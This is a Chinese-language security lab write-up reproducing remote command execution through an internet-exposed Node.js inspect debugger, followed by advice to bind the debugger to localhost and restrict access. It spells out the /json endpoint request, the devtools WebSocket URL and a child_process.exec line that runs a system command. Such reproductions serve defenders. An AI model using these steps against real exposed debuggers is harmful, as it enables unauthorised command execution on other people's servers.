文章总结: 本文介绍了Node.jsinspect调试模式被暴露于公网后导致的远程命令执行漏洞的复现过程。攻击者可通过/json接口发现调试端点,再利用ChromeDevTools协议的WebSocket连接在浏览器中执行任意系统命令,如id等。文章指出影响条件为开启inspect调试并对外暴露,修复建议包括非必要不开启该功能、绑定本地地址以及通过防火墙和白名单限制访问。 综合评分: 62 文章分类: 漏洞复现,漏洞预警,WEB安全,安全运营,终端安全
【成功复现】Node.js inspect调试远程命令执行
原创
弥天安全实验室 弥天安全实验室
弥天安全实验室
2026年4月8日 12:48 陕西
#
网安引领时代,弥天点亮未来
0x00写在前面
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
0x01组件介绍
Node.js是一个开源、跨平台的 JavaScript 运行时环境。
0x02影响版本
开启Node.js inspect调试模式并将服务暴露于公网
0x03风险复现
1.访问运行环境
2.风险复现
1、获取调试接口
GET /json HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)Accept-Encoding: gzip, deflateAccept: */*Connection: closeHost: 127.0.0.1
返回200,并且响应体存在接口
2、通过浏览器访问调试接口
devtools://devtools/bundled/inspector.html?
开启允许输入
devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.0:10000/e06fc35f-b95c-48dd-89b1-15f932816379
成功执行id命令
require("child_process").exec("id ", (err,std) => console.log(std))
0x04修复建议****
1、严格遵循Node.js官方安全要求,非必要不开启 inspect 调试功能。
2、若开发过程中确需使用,确保调试服务仅绑定本地地址(–inspect=127.0.0.1),禁止暴露于公网,并通过防火墙、IP 白名单等手段限制访问权限。
再次声明本文仅供学习使用,非法他用责任自负! 人是安全的尺度
https://nodejs.org/en/blog/vulnerability/february-2023-security-releases/https://zhuanlan.zhihu.com/p/1947267306074912700
弥天简介
学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。
口号 网安引领时代,弥天点亮未来
知识分享完了
喜欢别忘了关注我们哦~
学海浩茫,
予以风动,
必降弥天之润!
弥 天
安全实验室
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:弥天安全实验室 弥天安全实验室 弥天安全实验室《【成功复现】Node.js inspect调试远程命令执行》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论